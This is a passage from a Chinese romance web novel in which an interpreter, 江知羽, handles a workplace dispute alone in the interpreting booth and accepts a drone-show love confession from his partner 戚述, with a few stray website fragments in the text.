除夕已经过了,他俩都是事业狂,往年日复一日地跟着项目转,压根没有庆祝春节的概念,无所谓桌上是饺子面条还是白米饭。 眼下身边多出一个人,戚述为此有了仪式感,得知聂茹熙准备送东西来,开口说自己想要多拿几袋。 聂茹熙似乎明白了什么,还在袋子里写了一张卡片,上面注明如何烧煮更好。 江知羽大病初愈,本身胃口不是很好,但难得吃到新鲜的手工水饺,很买账地让戚述多煮半盘。 以前来到戚述家里,他拿上换洗衣物,过夜后全部带走,尽量不去打乱各自的正常生活。 如今的状况不太一样,江知羽在屋里晃悠,翻翻戚述的书,碰碰戚述的花,有瓶子摆得歪了还放正一些。 像是一只猫被抱到这里,不惦记着逃了,开始巡视自己的新地盘。 戚述去抓猫尾巴,挤到他旁边“江总监,你看没看过下周日历?” 江知羽认真打量着油画,没察觉哪里有陷阱。 他分享“我了如指掌呢,下周三有出差当天来回,其他时间没什么事,在办公室偷个清闲。” “你的日历不太全面,还有下周五是情人节。”戚述发出通知。 江知羽噎了下,面对面没法装傻,随即“噢”了声。 他回答“怪不得有几个同事找我请假,剩下的嚷嚷要部门团建,合着是没有活动打发时间,准备大家凑合取暖。” 戚述没有打搅他的职场交际,问“想在哪里做东?” “有人找好了餐厅,我不太清楚。”江知羽转发坐标,“据说口碑还不错,装修布置很漂亮,你要不要一起来?” 公司有专门的团建资金,但他们基本上会超出指标,这部分都由江知羽来买单,多喊一个人也无关痛痒。 戚述说“没事,本来就是你们约定的内部小聚,大家说不定也想私下聊聊工作,我过去了不太好。” 江知羽抬起眼“可那天也是情人节,我会想要看见你。” 时有幸的作品《我们可没有谈恋爱!》最新章节由? 语罢,他耳根有点烫,被戚述伸手揉了揉。 戚述道“你快散场和我发消息。” 江知羽支棱起来,得寸进尺“然后你就开车来接我?” 都到这一步了,戚述怎么可能忍得住“不,我在外面守着。” 江知羽心满意足,连日的雨雪还没消停,他今晚留宿在这里。 他去衣帽间挑选睡衣,看到有一套还是新的,正打算拿出来拆开,然而被戚述阻挠。 戚述夹带私心,翻出自己的旧服“就这件怎么样?我看很合适,你穿穿看吧?” 江知羽没懂他抽什么风,直到披上这件衣服,忽地感觉浑身有些不自在。 上面沾了戚述的气息,尺寸也更贴合戚述,自己这么穿着,像是被对方包裹了起来。 不容江知羽再脱掉,戚述说他还需要多休息,之后带人去床上歇着,特意把主卧的恒温往上调。 江知羽这两天睡多了,压根没有困意,玩起这间屋子的智能窗帘。 过了一会儿,他望着城市夜景,好奇地与戚述打听“你小时候见过星星么?” “我不怎么注意这个,没什么印象了。”戚述道。 江知羽津津有味地回忆“当时我家房子靠着乡下,抬头可以看到好多,我趴在窗户边上数都数不完。” 戚述闻言,认真地往外望了一眼“这里好像很难看到。” “因为有其他的光源嘛,那么多高楼也会挡住视线。”江知羽说。 他对这些有兴趣,本科特意选修过天文学,近些年虽然没怎么留心,但时不时会刷一下相关的推送。 江知羽说“他们说14号傍晚可能有流星,但这个估计碰不上,我看天气预报能见度很低,否则还能许个愿。” 戚述望着他“你有愿望需要实现?” 江知羽歪过脑袋“感觉没什么要求了,我想要的都会自己争取。” 被戚述瞧着,他有些羞赧,半张脸缩到了被子里,但这个动作引来对方凑得更近。 江知羽很温顺地不吱声,听着戚述冠冕堂皇地说“发烧有可能会反复,晚上最需要别人盯着,我看看你怎么样了。” 江知羽点了点头,自以为戚述要去拿体温计。 然而戚述没有出门,轻轻地朝他俯身过来,江知羽对此有些懵懂,不禁紧张地闭上了眼睛。 紧接着,戚述用额头贴了贴他的额头,两人彼此依偎着,耳鬓厮磨在一处。 江知羽听着戚述的呼吸声渐重,小心翼翼地尝试教自己放松下来,随后故作冷静地等着下一步,好像对此游刃有余。 于是,戚述毫无阻碍地吻到了他的眉心。 作者有话要说 啊啊啊想写到确认关系一次性发的,但赶不上了,先有多少更新多少!(跪) 第 84 章 银河 上班第一天,街头的年味没有散去,路边还挂着红灯笼和平安结。 蒲音早上开员工会,总结过往业绩,规划年度目标,再各自领取红包和礼物。 不少译员和行政刚收假,心思压根没飘回来,回到部门窸窸窣窣闲聊。 江知羽手头有正事,忙完没去凑热闹,扶着自己的额头发愣,时不时地轻哼几声。 许一晗在门口瞧见了,把暧昧期的弯弯绕绕理解为健康问题“江老师,您头疼?我帮您倒杯热水过来怎么样?” 神游被打搅,江知羽谦虚地回答“不,我很幸福。” 许一晗走的时候多看了他几眼,似乎怀疑他哪根筋搭错了,但因为江知羽是上司所以不敢多问。 这边逐渐恢复日常节奏,反观松晟,一根弦绷紧了没松过,已经全面运转起来了。 今年的股票交易市场还没有开门,他们的行研报告先发了两篇。 江知羽中午收到推送,瞄到那些盈利预测就打哈欠,潦草跳到末尾发现戚述是撰写人之一,又滑回去重新翻阅。 戚述的措辞很好认,简明扼要一针见血,用词不留任何模糊地带。 字里行间透露着锋芒,落在实处不缺稳重,论能力足够有傲气的资本,立场又能保持清醒理智。 金融圈有许多讨论向的公众号,侃完大家的开年福利,根据这些研报说起策略倾向,松晟作为头部机构被放在最前面,江知羽看到一个账号邀请了经济学家来分析。 评论区有人说[这回都找上外资了,看来你们的运营经费很充裕啊,能不能展望请到松晟的那一位?] 该账号回复[你们要看的姓蒋还是姓杨还是姓秦?我为了大家去努力下。] 回楼道[都乐意去联系蒋董,愣是不肯提姓戚的,他是真的不想满足你们。] [蒋董都比戚总好约吧,一个好歹打理外务,愿意配合出镜,另一个纯做业务,也没炒作意愿,做到首席了需要这点噱头?] [联系过,邮件石沉大海,线下想组个访谈都敲不到门。] 过了会儿,公众号说[是的,戚述不怎么喜欢露脸,也不太参加公开活动,而且你们想问的我知道,打听人家处没处对象呗。] 八卦之心人皆有之,何况是业内风头正盛的人物,这里还属于泛休闲向的信息平台,没几个会正儿八经地研究业务。 有人爆料[不是单身吧,我今早在南边看到他的私家车了,松晟大楼在国贸另外一端,从怡枫上邸过来不顺路。] [说不准拜访重要客户呢?] 那人答复[他在西餐店买了两袋早饭,是的,他开车,他靠边,他排队,收购华尔街也不值得这排场啊,但伺候老婆就正好。] 潜水到这里的江知羽“……” 早上那罐曲奇还剩几块,拧了盖子摆在桌上,他随即心虚地吃完了。 出去扔掉垃圾,隔壁的徐老师拍了拍他肩膀。 “总部的人来内检,把萧徽喊走了,你说这是什么事啊?”徐老师说。 江知羽不在背后嚼舌根“内检主要是审核职业规范度吧。” 尽管办事处结构精简,但他们是大型外企,看重文化建设和道德准则,抽调这类问题也不是一次两次。 萧徽的言行违背了公司价值观,江知羽以为这最多是被严肃地敲打几句。 没想到去茶水间洗杯子的时候,其他人说萧徽吃了处罚,升职加薪会被影响很长一段时间 。 “笔译组的听到总部有人过来,见到青天老爷一样抱怨了大半天,说萧徽喜欢压榨新人,两个老外听完都摇头。[(.” “对啊,他老爱指点其他部门,抓到同事出点小错能说教两三个月,有实习生被他念叨走了,笔译组本来要给那小孩转正的啊。” 江知羽个性鲜明,虽然不去得罪他人,但也不好招惹,萧徽以前敢来膈应他,必然对别的同事更过分。 这里氛围平和,大家不会主动找上级吐苦水,这次正好有个时机,好多人就不忍了。 江知羽猜测萧徽肯定不服气,这类人的心胸狭窄到只能放下自己,要是真的可以认识到错误,也不至于做到这种程度。 果不其然,第二天周柯私下与江知羽碎叨,萧徽拒绝在谈话单签字,洋洋洒洒写了几千字申诉,说自己劳苦功高支撑着部门,不接受这种处罚。 “他当自己顶梁柱呢,这儿没他没法转。”周柯无奈,“明天你们跑外勤,辛苦你多衬着点。” 江知羽表示明白,有的遇到这类情况指不定充当好人,要去给萧徽做开导,但他不会这样。 对方不主动对接信息,江知羽也不去沟通,当晚加班加点到深夜,戚述在旁边一边盯盘一边帮忙理材料。 这次出差去临近的直辖市,开高速不过两个小时,甲方全程接送,这边总共有四个人赴会。 同传两人一组,江知羽和萧徽做英法,另外的同事做英德,整场活动是全球线上直播。 进棚戴上耳机检查设备,萧徽一直不讲话,似乎想等江知羽开口,可惜江知羽懒得包容这脾气。 “晕车,我要去调整一会儿。”萧徽起身。 江知羽冷淡地问“半小时内能回来么?” 曾经他和萧徽接项目,默认是萧徽做主导,自从江知羽负责投资者大会,从此两个人对半开,这件事本就让萧徽很难接受。 听江知羽这样讲话,萧徽使绊子“说不好,我在这儿就是反胃。” “去厕所多待一会儿吧,我最多可以等你三个小时。”江知羽颔首。 他知道萧徽内心忿忿,自己六年前跨行过来白纸一张,如今当上部门总监出尽风头,不是所有人都愿意赞美,比如对方就不认可他如今的位置。 余光里见萧徽离开,江知羽不露声色,有条不紊做好自己的事。 这场活动从中午不间断地办到晚上,长达七个多小时,对体力和抗压能力是一种挑战,所以需要两个译员互相配合。 眼前项目专业性很高,演讲的信息密度极大,全球直播时刻需要临场应变,如果依照国际标准,译员应该每二十分钟做一轮换,独自扛五个小时差不多是极限。 江知羽设好闹钟,看到主持人登台,打开了“micro”按钮。 与此同时,戚述看了眼腕表,搜索活动网址进入页面。 他切换成法语频道,无线耳麦传来江知羽的嗓音。 就着这个动静当成背景音,戚述的舌尖舔过虎牙,继续处理公务。 大概过了半小时,耳麦里没有换人,不过江知羽习惯了三小时持续输出,戚述没有多想。 他在看一份存量资产的清单,晃眼就到了下午四点钟,频道里依旧是江知羽的声音。 这时候他算了下时间,已经发现不太对了。 昨晚江知羽和他说过搭档的配合度很低,可是正常来说,萧徽无论如何也不该当场罢工。 看到主持说 中场等待嘉宾五分钟,戚述给江知羽发消息[萧徽没来?] 江知羽[和他说好了时间没有来,我直接锁棚了,今天我做负责人,规矩是不听话就下岗。] 这里收音非常敏感,闹钟只开了弹窗提示,江知羽看到以后连半分钟都不多等。 同传棚里设备很昂贵,自然带有门锁,他一边听着演讲内容,一边垂眼转了转把手,整个过程就几秒钟,坐回去的时候流畅地开口翻译。 萧徽大概是想让人稍微尝点颜色,拖了一刻钟就回来了,然而打不开门,给江知羽发消息也没得到回应。 接连的演讲估计有六个小时,江知羽疯了??萧徽匪夷所思。 而且,他故意拿走了自己的速记本,江知羽没有讨要,资料根本不够齐全。 萧徽犹如被敲了个闷棍,在外边进退两难,尽管他还挂着翻译的工作证,但已经被江知羽完全架空了。 他没办法在现场叫嚷,只能不停地给江知羽留言,江知羽一句都没有理睬。 没有想象中的独木难支筋疲力尽,萧徽眼睁睁看着一个个环节推进下去,翻译全程没有掉链子。 太可怕了,萧徽瞳孔微颤,他早就知道江知羽的专业水平,但低估了这个人的韧性和脾气。 很快公司也发现了这事,给萧徽拨了电话,这时他几近崩溃,趁五分钟休息的间隙,求着江知羽开门。 江知羽摘下耳机,一小口一小口地喝着水,对这些讨饶无动于衷。 他算不上城府深沉,这些年从一张白纸做到部门总监,全靠自己不断打磨专业水平,他不是不知道如何舞弄权术,但向来脊背挺直坚持着原则。 江知羽从不做落井下石的事情,也看在前辈的面子上包容过几次,否则萧徽第一次惹他的时候,他就该使点绊子。 现在,他觉得萧徽越过了这一行的底线,抛弃同伴不守承诺,把翻译这个岗位当成恐吓的筹码。 江知羽不喜欢被拿捏,既然萧徽企图摆谱,那么他就来证明自己一个人也能办好。 所有注意到这个细节的人都很诧异,甚至有同业泛起畏惧,江知羽还很年轻,已经锐利到让人不得不正视他的存在,光是通过耳麦就能感受到他的力量。 活动顺利散场,江知羽也接到了总部的电话,问他详细的来龙去脉。 听着手机里的惊呼,江知羽不紧不慢整理着资料,有些纸上还有戚述帮忙写的笔记,字体端正有力,让他看了心情不错。 他描述了自己事出有因,萧徽贸然离场出尔反尔,他不认为对方拥有进棚的资格,也不放心客户能交到这种人手上。 上级感慨了一会儿“你这样太辛苦了。” “我不觉得。”江知羽笑了下,“我喜欢这份工作,每一刻都是对自己的回馈。” 出去长长舒了口气,萧徽已经走了,没有和他们一起坐车。 江知羽在路上收到全员邮件,说萧徽因工作失误,公司决定做开除处理。 辞职和被开除,两者性质很不一样,后者的离职证明都会清楚写上原因,往后求职都是污点。 内部群里,有人百感交集地唏嘘,江知羽不会幸灾乐祸,也不会有任何同情,对此没发表态度。 另外有人来夸他厉害,他一笑置之,看着颇为淡定。 私底下,他不确定地问戚述[你听到最后了吗?我气息有没有乱掉?] 戚述[没有,一直很稳,听上去有距离感。] 江知羽怀疑他唬人[整个过程都没有吗?] 戚述回答[我上次听到你呼吸很乱(笔趣阁?., 你那时候还被抱在穿衣镜子前面。] 江知羽?? 他愣了一下,思考那是几个月前的事情,然后热意不禁从耳朵蔓延到脸颊。 他说[我不喜欢镜子。] 戚述很绅士地关心[你觉得羞耻,还是蹭到镜面的时候会冷?之前不小心硌痛了吗?] 江知羽难以启齿,过了一会儿,说[比起隔着玻璃,我更愿意亲眼看着你。] 说完,江知羽揉了揉脑袋,旁边的同事发现他坐立难安,好奇地问他怎么了。 “差点忘了订周五团建的包厢,我现在就打电话。”江知羽硬着头皮找借口。 情人节的气氛很浓,各家商场做了装修布置,当日可能有流星雨的消息也被宣传出去。 有观测爱好者写了攻略,指明京市有哪些地方适合观赏天文景象,当天,江知羽听到同事讨论起要不要改约会地点。 有人劝阻“如果没找着,岂不是很尴尬?你俩在草坪冻都要冻死。” 特意在郊外守着的话不太划算,但不妨碍大家出门的时候顺道瞧一眼。 餐厅包厢有一扇窗户,下属们挤去观察夜幕,然而今日天气阴沉,大家仰着脖子一无所获。 费劲来这里折腾了许久,江知羽有点吃不消,切着牛排“你们怎么会探店挖到这地方?” 部门秘书兴奋道“这里晚市之后开派对,请的驻唱歌手很有名,等咱们吃好就可以听live。” 另外有人解释“后面是自然公园,我们过来玩过几次,虽然位置有点偏僻,但环境真的不错。您有空可以去瞧瞧。” 平时江知羽不会到这么远的地方,既然来都来了,确实想去周围随便走走。 但他转头一想,这都已经晚上七点钟,周围黑漆漆的能看到什么? 随即他打消了念头,吃饭间隙频频看向腕表,惹得同事们说起他是不是另有约会。 江知羽习惯性地想要遮掩,话到嘴边又改了说辞“算是吧,我稍微早点走可以么?” 这么说完,其他人纷纷起哄,问他到底是什么情况。 江知羽很高冷地卖关子,不配合大家的采访,随后许一晗出去上厕所,回来的时候捎上了重磅消息。 “卧槽,我看到戚述了!”许一晗忐忑,“他一个人在外面吃饭!” 江知羽“。” 其他人没注意到江知羽神色一顿,叽叽喳喳地感叹“戚总好可怜啊,这种日子跑得那么远,还孤苦伶仃地一个人坐着……” “江老师,我记得你和戚总关系还行?”江知羽突然被点名。 江知羽神色不太自然,仿佛被大家无意抓包了地下恋,连忙含糊地说他不太了解对方私生活。 说完,他收到戚述的消息[你们这边大概多久吃完?] 江知羽回复[一刻钟吧,你着急什么。] 没过十分钟,他率先待不住了,拿上外套出去提前结账。 一推开包厢的门,就能看到戚述坐在吧台,蒲音的同事在不远处热热闹闹,笑声偶尔会传过来,但凡出来透口气就能撞破这一切。 江知羽刚才小心翼翼,这时见着人了,大胆地没有避讳,快步走到吧台那边。 戚述打听“今晚看到流星了么?” 江知羽唉声叹气,说自己压根没有留意。 下属举着手机围在一起,他身为领导要懂得自重,又不可能和大家抢位置。 “之前我搜天气,好像最近的云都很厚,我刚才还听店主在说,他掐着点想拍照,可是什么都没见到。[(.” 戚述道。 江知羽有些失望,表面装作不在意。 他随口道“等我买一台望远镜,以后可以在阳台上慢慢看。” 这么说着,他察觉端倪“你查天气干嘛?” “他们说这阵子可能会下雨。”戚述说,“今天还算好,风也不是很大。” 这片地方远离商圈,餐厅后面就是森林,江知羽吃得有点撑,索性和戚述往那边散步。 绕到山坡的背面,他感觉光线太暗了,忍不住攥紧戚述的衣摆。 紧接着,戚述与他十指相扣“怕黑?” 夜晚森林显得幽寂,新鲜的空气里裹着一层冷意,唯有戚述传来的暖意非常真切。 江知羽从而离得更近,嘀咕“这里的路灯太少,稍微有一点点怕吧。” 他低着头,不敢细看远处影影绰绰,快要和人黏成一团。 往前走了五六分钟,江知羽困惑地清了清嗓子。 “戚述,你能不能打个手电筒?我看不清路,踩到你好几脚了,难道你没感觉么?” 戚述以为江知羽在调情,原来是视野太模糊,不过他道“太慌了,没顾得上。” 江知羽张牙舞爪“心里亏欠了什么搞得胆子那么小?你干脆缩我后面好了,我可以现在领你回去。” 话音落下,他听到戚述轻轻地笑了声,音调短促又散漫。 戚述似乎看穿了自己的逞强,江知羽随即深吸一口气,懊恼地抬起眼来想算账。 就是这一眼,江知羽不可思议地愣住了。 循着戚述的视线,他看到夜幕居然泛着星光,有脉搏般地在他们面前闪烁。 江知羽用力地眨了眨眼,错过的流星雨已经遥远,近在咫尺的画面更为璀璨,而他独享了这一方梦幻。 是无人机,他迟钝地思考着,这规模至少有两千台了……怪不得戚述会注意天气预报。 原来戚述补给了自己一条人间的银河。 “为什么?”江知羽头脑空白,迟迟挪不开视线。 “我想我欠了你一场正式的告白。”戚述开口说。 “梧桐下说的那些话太突然,你还没有考虑清楚,我也没资格去讨你的答案。” 江知羽原先目不转睛,听到戚述这样讲着,有些无措地望了过来。 对上他的眼神,戚述弯起眼睫。 “抱歉,我其实一直贪得无厌,以前经常会想,该什么时候把这份喜欢告诉你呢?这要怎么说出来,才能让你知道我的心意很满,从很早之前就淹没了我自己?” 江知羽怔了怔,说“我已经听到了。” “可我还是不够满足。”戚述道,“每次靠近你,我发现自己看到的越多渴望的越多,明明你就睡在我的枕边,我却还是不甘心,自己能不能出现在你的梦里呢?” 星光下,耳边唯有彼此的吐息,在这个没有第三人打搅的角落,每句话里的颤抖和认真都变得格外清晰。 看着江知羽露出难以置信的表情,戚述没有任何回避“如果我可以在场的话,肯定舍不得让你再皱眉。” 他怎么连这点波澜都想抚平?江知羽从而想到了一件旧事。 “你出现过。”江知羽有些紧张地说,神色流露出略 微的无奈, 似乎还觉得有一些好笑。 “你陪我回苏州的时候,睡在我的旧床上,我梦到自己回到了和爸爸坦白的那天。” 其他的对话都与现实重合,江锦昆在这方面思想保守,听到儿子揭开秘密,下意识地选择了自欺欺人。 当时,江锦昆说“谁带坏你了?是你的同学还是同事,怎么你就要和我这样嚷嚷?你最好弄明白了再开口。” 江知羽那会儿答不上话,他在情窦初开的年纪未曾和同学暧昧,步入职场开始实习,也没有和同事有过越界。 但是在梦里,他反驳“你懂什么?戚述说他喜欢我!那种滋味是抵触还是悸动我特别明白!” 这时无意地提起这茬,江知羽小心翼翼地看向了另一位男主角。 “我是不是没有和你解释过,之前为什么突然会和爸爸出柜?”他道。 戚述的确有过疑心“嗯,你好像没铺垫,你爸反应不过来。” “我以前很想成为他。”江知羽认真地说。 年幼时来到异国他乡,父亲辛苦地撑出了一片天地,自己心疼他,也崇拜他,虽然日常相处少不了摩擦,但那种旗帜般的向往并没有改变。 江知羽道“报大学的时候,他希望我读金融或者法律,其实我对这些专业没兴趣,但想到他给我的安全感,我也想做一个靠得住的小孩。” 戚述接话“后来你学业非常好,实习经历也很优秀。” “这都不是我想要的。”江知羽说。 他最后实习在一家顶级研究所,高层内定了转正名额,却骗其他人好好表现都有机会,有的同学为此放弃其他招聘,打算更努力地卖命。 这些现象在业内司空见惯,可江知羽就是看不下去,和同学挑明了真相,和江锦昆说自己不屑与之为伍。 他讨厌谎言,讨厌狂热地追逐一个金钱数字,讨厌别人通过自己去讨好父亲。 他想呼喊,想奔跑,想帮助切实的人,想呼吸温室外的新鲜空气,哪怕这一路会不停地摔跤。 “所以我离开了。”江知羽对戚述说,“我走的时候,和我爸留了信,上面其实只有一段话。” 戚述说“什么?” “我说对不起,努力了那么久,还是没办法和他一样,并且以后也不会向往他了。” 这么说着,江知羽笑了下“因为我有一种强烈的感觉,必须要学着去做我自己。” 只有彻底地找到自我,内心每一次选择才具有力量,江知羽认为此刻应该和戚述讲起这件事。 关于自己是如何有了轮廓,又是怎样打磨和雕琢,他愿意让戚述摸清每一个弧度。 他道“戚述,然后我走了五年遇到你,这就是最完整的江知羽。” 戚述若有所觉,郑重地讨要答案“你要把江知羽交给我吗?” 远离繁华的星点深处,他们交换了眼神。 目光触碰到戚述的眼底,江知羽看清了对方漆黑的瞳孔里,倒映的全部都是自己。 此时万物寂静无声,旁人未曾听闻这场仪式,也最好不要惊扰。 两颗心是如何在一起跳动,奔来的早春已经作为见证。 “是的,我决定了。”江知羽虔诚说,“我现在就要去爱。” 作者有话要说 晚上二更,感谢大家的支持,大家也七夕快乐! 第 85 章 爱侣 第85章爱侣 二月春寒料峭,他们挨着坐在草坪上。 那片明亮的光带在天边盘旋,最后飘洒着逐渐落下,熠熠星海向着地平线归去。 江知羽拢了拢外套,想换个更舒服的姿势,屈起膝盖不小心碰到戚述的腿。 都是他们离得太近了,可戚述没往旁边让,先是往后移了一点,再微微地倾身过来,有意无意地蹭过江知羽的胳膊。 衣料摩擦互相贴合,发出的动静细碎微弱,两人由此紧紧依偎。 江知羽不知道自己是什么时候靠在了戚述肩膀上,发觉后没有适时调整,而是安静地挪回目光,注视着对方的侧脸。 戚述的五官线条很英俊,眼窝偏深衬得气质深邃,鼻梁高挺加重了攻击性,长相无论怎么分析都很锋利。 但此时此刻,在江知羽的视野里,他看上去意外地温和。 戚述很快就发现了江知羽在偷看自己,抬手捏了捏他的耳垂。 “是不是有点冷,我们走吗?”戚述说,“你有没有想玩的地方?” 无人机缓慢返航,江知羽从诧异到尽兴,已经看得足够过瘾。 江知羽道“腿有点酸,想再等等。” 晚上起风了,山坡后尤为明显,戚述站起来“我背你。” 江知羽觉得他变得有些笨,拆穿自己“我刚才骗你的,今天坐了一天的办公室,怎么可能会累?” 戚述嗤笑了声,散漫回答“我就喜欢上当,主要是想吃豆腐。” 闻言,江知羽矜持地抿紧唇角,表现得不太配合,不过戚述还是把他揽了起来。 江知羽不太适应地僵了下,浑身重心转到戚述的后背,整个人却没有抵触和胆怯,乖顺地搂住戚述的颈窝。 因为羞赧得无法缓解,他面对一众树木都不好意思,索性把脸埋在对方肩头。 “你什么时候准备的这些?”江知羽说,“这几天没露馅过,瞒得好严实啊。” 戚述说“是你找星星的那个晚上,我想让你抬头就能看到满天都是。” 国内适合观星的去处离这里太远,于是他找到本地的科技公司,打造了这一场流光景象。 江知羽很受用,除却视觉上的惊艳,更重要的是自己流露的每一点渴望都被关注,这种被接住的感觉让他情不自禁地沦陷进去。 绕过山坡有几家文艺餐厅和酒馆,节日的渲染之下,许多人在店外热闹庆祝,浪漫曲调遥遥地传了过来。 江知羽从而缓和了情绪,这下怎么说也要戚述把自己放下来。 有顾客兴奋之际,接过台上的麦克风,朝着恋人献歌,中间偶尔跑调,引发周围一阵嬉笑,继而更热烈地鼓掌和起哄。 江知羽没有别的地方想去,就待这里看热闹,或者说,和戚述随处逛逛也足够有意思。 这里的受众以高校生居多,场合很有青春气,而戚述以往出入高楼大厦,总在谈判桌和名利场之间连轴转,放人群里有些格格不入。 不过他今晚沉浸其中,就像刀锋被妥帖地收进鞘里。 “这个周末有空的话,陪我去挑家具好么?”戚述侧过身,与江知羽说,“书房准备置换点东西。” 江知羽很困惑“你书房不是挺好的吗?” “给以后两个人生活做点准备,那里缺了套书柜和桌子。”戚述说,“你到时候挑挑喜欢哪一种。” 确立完关 系,就想收拾收拾住一起了,而且要改装原有布置,他确实非常贪心。 其实江知羽近期一直在怡枫上邸过夜,戚述坚称他生过病该仔细调养,最好互相有个照应,江知羽想着自己害人家担心一场,就支支吾吾地没狠心拒绝。 现在江知羽回过味来,戚述这是步步为营,在暗戳戳让他适应同居状态。 除此之外,江知羽也很讶异,一般来说,朝夕共处往往会催化矛盾,然而他们完全没有。 分析起来该是戚述兼容得太多,说来有一些滑稽,戚述以往没有家庭生活,按道理很容易出现问题。 可是他对待江知羽太小心了,甚至没让江知羽感到个人边界被侵i犯。 江知羽这时琢磨起来,才迟钝地恍然大悟,原来他俩已经形影不离了好一阵。 独自漂泊这些年,他本该习惯来去自由,如今却不知不觉容许了另一个人的存在。 江知羽也愿意纵容对方,让戚述把自己系住“那我要camilla的桌子,你觉得棕色和黑色哪个好?” 他看多了金屋珠玉,有一套自己的挑剔眼光,从平时的穿衣打扮就能瞧得出来,他在生活质感上非常考究。 很巧,戚述的眼界跟得上他的志趣。 “黑色吧,你皮肤白,衬黑色肯定很漂亮。”戚述知道那套桌子。 江知羽本来还想夸他的审美很好,又觉得这句话语暗藏危险,很疑心地收声了。 两人不止需要选家具,还得从铂曼腾东西,戚述本来打算喊搬家公司,但江知羽想自己慢慢整理。 来到京市的前两年,他一直住在偏远的老式民宅,随着事业的起步,陆续改善居住条件,得以搬进这栋酒店式公寓。 最开始面对租金还会心疼,纠结半个月签了长期合同,既是嘉奖过往的努力,也激励自己继续上升,江知羽对这套房子很满意,曾经认为可以长久住下去。 到如今,每月租金不过是他半天薪酬,江知羽回想着,明显地觉察到了岁月变换。 七十平方的空间承载了许多回忆,他有许多手稿、笔迹和荣誉证书,散落在各个角落没归置过,当下正好慢慢拾掇。 午后,江知羽拿起一串铺梦网“我大学去东非做志愿者,小朋友给我编了这个,你看,放在床头柜里没褪色。” 戚述看着精细的手工痕迹“你肯定很招她们喜欢。” “可惜我只能待一个暑假,之后没空再去了,今年有机会的话我带你去玩。”江知羽说。 他很少迎合时尚去买奢侈品牌,但戒指、胸针和袖扣琳琅满目,全是四处搜罗来的古董和手工制物。 相对来说,戚述根本不注意这些,衣帽间有个首饰抽屉,里面就只有助理买来的几点零碎,用于往常出席正式场合。 这下抽屉被江知羽征用,他们的衣服和配件没有特意分开存放,虽然平时两人穿的是正装,且尺寸明显不会混淆,但偶尔也会造成一些困扰。 比如江知羽此刻被周柯打量,周柯说“你的领带是戚总同款,我印象里他也用过,花纹颜色一模一样。” 周柯带人参加应酬,碍着松晟也在名单里面,他不免有些顾虑。 “你俩要是撞衫了,戚总会不会膈应啊?”周柯道,“我有备用领带,要不你赶紧换上?” 江知羽有些心虚,干巴巴地搪塞“以他的风格根本不会留意别人穿什么吧,你当他会把我扫描一遍么?” 周柯非常 好糊弄地说了句“也对”, 之后没再管江知羽,两人到场没有结伴行动,老板很快被朋友拉走叙旧。 过了一会儿吗,松晟的人过来了,江知羽用后脑勺朝着门口也感觉得到,毕竟有道视线几乎黏在自己身上。 “江总监,你今天拿错领带了。”戚述自顾自走近,轻声提醒。 江知羽表示自己已经了然,险些被周柯逮着蛛丝马迹。 当着那么多人的面,他俩不能显得太亲昵,距离和言语适可而止,各自摆出精英腔调。 这对演技的要求有点高,热恋期情侣一见面,半空交织的眼神都能打成死结,偏偏要装模作样地当做彼此不熟。 江知羽招架不住,怕漏出马脚,没两三句话就借口离开。 他转而倒了半杯霞多丽,找到在场的熟人打招呼,驾轻就熟地维系着人际关系。 继而过了大半场,江知羽由于太出挑,接连地被别人搭话。 他迎着戚述不太收敛的打量,按捺住心里的哭笑不得,含蓄地拒绝了别人的攀谈。 可能是商业局快要结束了,有的宾客就开始心思发散,眼看又有人往自己这边走来,江知羽这下有点懒得应付,偷偷跑到外边去透气。 今天的选址在一处洋房,里外恒温恒湿,别院里养满了垂丝海棠,在春初含苞待放,粉粉绿绿簇拥在枝头。 江知羽观赏片刻,过了一会儿,听到戚述的脚步声越来越近。 戚述走路很稳,举止非常端正,步伐比寻常人更快,江知羽可以很轻易地辨认出来。 靠湖泊的那侧没围栏,花花草草铺了一路,江知羽说“我想去那边逛逛。” 戚述知晓江知羽是什么性情,默契地拿出一包东西“人工湖里养了锦鲤,你要不要喂鱼?我问屋主要了点饵料。” 他和房子的主人是朋友,讨这东西很方便。 江知羽怔了怔,很配合地双手摊开,表示自己特别乐意。 别人忙着觥筹交错打理生意,没人注意到场内少了一对人,唯有换季的风雨声绕过洋房时,大家张望着看向窗外。 仅仅是瞧了一下,他们借由天气的话题,又热络地讨论起来。 冬天眼看着就要过了,屋外四处点缀着蓬勃新意,江知羽优哉游哉地喂着鱼,还在感慨湖边的柳树发芽了。 他没料到季节交替,除却这些好春光,温度尚且摇摆不定,多的是晚间阵雨。 来时没任何铺垫,由远及近不过半分钟,落下来就好像往底下泼水,浇得倒霉蛋们措手不及。 江知羽迟疑了一小会儿,迅速地转过弯来,毕竟从小在南方经历过黄梅季,这突如其来的雨水没有影响他的兴致。 手头的一袋饲料还没喂完,索性扬手撒光,几条锦鲤欢快地朝他们打了个挺,水花险些溅在裤脚管。 溅上去也无所谓,阵雨袭来得太急,江知羽和戚述哪怕立即往回跑,肯定也会被淋到。 “我看我们没法回去了。”江知羽用手背抹去下巴的水珠,“搞成这样,掩都掩不住。” 戚述跟他一块儿不着调“我自己开了车来,等会儿直接去地库。” 他们有商有量,还觉得这样挺好,晃悠着准备折返的时候,这边的雨势已然加大。 江知羽没办法装淡定,先是急促地往前迈了两步,随后不得不跑了起来。 他踏在鹅软石路踉跄几步,脚下还没来得及放满速度,戚述握住了他的手腕,牵过他屋檐底下奔跑。 在月下两人像私奔,回到别院里,浑身都湿透了,江知羽碰了碰头发,觉得有点没面子,默默地扭过了脖子。 紧接着,他听到戚述忍不住笑了一声。 多少年没这么跑过了,简直和逃难差不多,江知羽的气还没喘匀,又警惕地转回了脸。 “你干嘛?难道你这会儿很好看吗?”他盯着戚述说,“你有没有带纸巾?” 他的睫毛上沾了水汽,戚述垂眼瞧着,脱掉了自己的外套,西装内衬尚且温暖干燥。 “没有纸,这个可以么?”戚述说。 昂贵的面料被当成毛巾,他伸手帮江知羽擦干净脸,又啄了啄恋人的颧骨。 他再低下去,用鼻尖碰过柔软雪白的面颊,一时间没有撤开,洒在江知羽脖颈处的吐息逐渐变了味道。 江知羽不禁往后靠,直到被抵在墙边。 视野明媚,有春雨和海棠,还有自己的爱侣。 戚述用指腹摩挲过江知羽的唇角,江知羽眼神朦胧,喊他的名字“戚述。” 戚述应声“宝贝,我现在可以亲你吗?” 江知羽深吸一口气,怯生生地望向戚述,眼神足以代替言语,在开口之前就已经缠绵了一遍。 于是,吻就这样落下来。 他的嘴唇被重重咬住,动作生疏青涩,又带有凶猛的意味。 